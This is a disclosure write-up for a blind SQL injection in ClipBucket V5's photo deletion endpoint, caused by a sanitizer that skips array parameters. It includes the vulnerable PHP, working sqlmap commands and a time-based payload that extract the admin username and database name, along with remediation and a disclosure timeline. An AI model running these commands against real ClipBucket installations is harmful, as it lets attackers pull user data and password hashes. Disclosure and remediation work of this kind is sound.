HIGH · 7.1 ClipBucket V5CVEVulnerability Research

CVE-2026-77927: Blind SQL Injection in ClipBucket V5 Photo Deletion

Exploiting a sanitizer bypass in ClipBucket V5 to achieve blind SQL injection through the photo deletion endpoint, extracting full database contents including password hashes.

Adam NurudiniAdam Nurudini 21 SEPT 2026 6 min read CVE-2026-77927
CVE-2026-77927: Blind SQL Injection in ClipBucket V5 Photo Deletion
⚡
TL;DR

ClipBucket's clean_requests() sanitizer skips array parameters. The photo deletion endpoint passes unsanitized array values to a SQL query without escaping. Submit check_photo[]=1' and extract the entire database via blind SQL injection.

Introduction

During my security research on ClipBucket V5, a popular open-source video sharing platform, I discovered a blind SQL injection vulnerability that allows any registered user to extract arbitrary data from the database — including administrator password hashes.

The vulnerability exists in the photo deletion functionality and stems from a fundamental flaw in how the application sanitizes array-typed request parameters.

Root Cause

The Sanitizer Bypass

ClipBucket::clean_requests() explicitly skips arrays:

phpClipBucket.class.php · clean_requests()
foreach ($posts as $key => $post) {
    if (!is_array($post)) {
        $clean_posts[$key] = preg_replace(['/\|no_mc\|/', '/\|f\|/'], '', $post);
    } else {
        $clean_posts[$key] = $post;   // Arrays pass through untouched!
    }
}

Submitting a parameter as name[]=value instead of name=value completely bypasses sanitization.

The Entry Point

The photo deletion handler explicitly expects an array and iterates through it:

phpmanage_photos.php:47-56
if (isset($_POST['delete_photos']) && is_array($_POST['check_photo'])) {
    for ($i = 0; $i < $total; $i++) {
        CBPhotos::getInstance()->delete_photo($_POST['check_photo'][$i]);
    }
}

The Vulnerable Sink

delete_photo($id) calls photo_exists($id) which has a dual-path ID lookup:

phpphotos.class.php:1173-1185 · photo_exists()
function photo_exists($id): bool
{
    if (is_numeric($id)) {
        // Numeric IDs are safely cast
        $result = Clipbucket_db::getInstance()->select(
            tbl($this->p_tbl), 'photo_id', 
            ' photo_id = ' . (int)$id
        );
    } else {
        // Non-numeric IDs hit this UNESCAPED branch
        $result = Clipbucket_db::getInstance()->select(
            tbl($this->p_tbl), 'photo_id', 
            ' photo_key = \'' . $id . '\''  // SQL injection!
        );
    }
}
⚠️
The key insight

ClipBucket treats ID parameters as either numeric (safely cast to int) or string (photo_key lookup). Only the numeric path was safely escaped — the string path interpolates directly into SQL.

Discovery Process

  1. 1Map Sanitizer

    Reviewed clean_requests() and noted array bypass

  2. 2Find Arrays

    Searched for is_array($_POST patterns

  3. 3Trace Flow

    Followed check_photo[] through delete_photo()

  4. 4Find Sink

    Found unescaped SQL in photo_key branch

  5. 5Confirm

    Validated with time-based blind injection

Exploitation

Tested against ClipBucket V5 master @ commit da1a665 using a "Registered User" account with default permissions (allow_photo_upload = yes).

Note: At least one photo record must exist in the database (any photo, any owner) — the injectable existence check doesn't verify ownership. However, the downstream deletion logic is constrained to photos the attacker owns.

Step 1: Confirm the Injection Point

bashsqlmap detection
sqlmap -u "http://target/manage_photos.php" \
  --cookie="PHPSESSID=<session>" \
  --data="delete_photos=1&check_photo[]=1*" \
  --batch --technique=T --dbms=mysql --time-sec=3
textsqlmap output
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Payload: delete_photos=1&check_photo[]=1' AND (SELECT 8202 FROM 
             (SELECT(SLEEP(3)))FHhs)-- EzXV

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

Step 2: Extract Admin Credentials

bashextract admin username
sqlmap -u "http://target/manage_photos.php" \
  --cookie="PHPSESSID=<session>" \
  --data="delete_photos=1&check_photo[]=1*" \
  --batch --technique=T --dbms=mysql --time-sec=2 \
  --sql-query="SELECT username FROM cb_users WHERE level=1"

Result: SELECT username FROM cb_users WHERE level=1: 'admin'

Step 3: Non-Destructive Extraction

Using a non-existent base value avoids side effects while proving data extraction:

bashextract current database name
sqlmap -u "http://target/manage_photos.php" \
  --cookie="PHPSESSID=<session>" \
  --data="delete_photos=1&check_photo[]=999999*" \
  --batch --technique=T --dbms=mysql --time-sec=2 \
  --current-db

Result: current database: 'clipbucket' — extracted in under a minute.

With more time, the entire cb_users table — including password hashes — can be extracted via the identical technique.

Impact

Confidentiality HIGH

Full database extraction: password hashes, emails, private content metadata.

Integrity NONE

Read-only extraction via blind injection; deletion constrained to owned photos.

Availability NONE

No direct availability impact from this vulnerability.

CVSS 4.0 Breakdown

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

MetricValueRationale
Attack Vector (AV)NetworkExploitable over HTTP
Attack Complexity (AC)LowSimple POST request
Attack Requirements (AT)NoneNo special conditions needed
Privileges Required (PR)LowAny registered user
User Interaction (UI)NoneNo victim action needed
Confidentiality (VC)HighFull database extraction possible
Integrity (VI)NoneRead-only extraction
Availability (VA)NoneNo availability impact
Subsequent ScopeNoneNo downstream system impact

Remediation

✓
The minimal fix

Escape the $id parameter with mysql_clean() before interpolating into SQL.

phpthe fix
else {
    // Escape the ID properly
    $result = Clipbucket_db::getInstance()->select(
        tbl($this->p_tbl), 'photo_id', 
        ' photo_key = \'' . mysql_clean($id) . '\''
    );
}
1
Make clean_requests() recursive

Handle array parameters properly in the sanitizer.

2
Escape at the SQL level

Use mysql_clean() or parameterized queries everywhere.

3
Audit all array parameters

Search for is_array($_POST patterns system-wide.

4
Add injection tests

Integration tests for SQL injection via array parameters.

Regression Tests

  • Submitting check_photo[]=1' returns an error or is safely handled
  • Time-based payloads do not cause delayed responses
  • Array parameters are sanitized recursively

Timeline

  1. 06 Aug 2026
    Discovered

    Found array bypass in clean_requests() and traced to photos.class.php.

  2. 06 Aug 2026
    Reproduced

    Admin username and database name extracted via sqlmap.

  3. 18 Sep 2026
    Reported

    Disclosed via GitHub Security Advisory (bundled with private message finding).

  4. 21 Sep 2026
    CVE Assigned

    CVE-2026-77927 issued; writeup published.

References

The Lesson

Sanitizers that handle only scalar values while arrays pass through unchecked are a recurring vulnerability pattern. If your code accepts array parameters, your security layer must too.

The check_photo[] parameter naming even suggests array usage was intentional, yet the security implications weren't considered. Until patched, any ClipBucket V5 installation with open registration exposes its entire database to extraction.


This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. Testing was performed in isolated lab environments.

Adam Nurudini
Written by

Adam Nurudini

Offensive Security Consultant specializing in vulnerability research, penetration testing, and red team operations. Published CVE author.

Back to all posts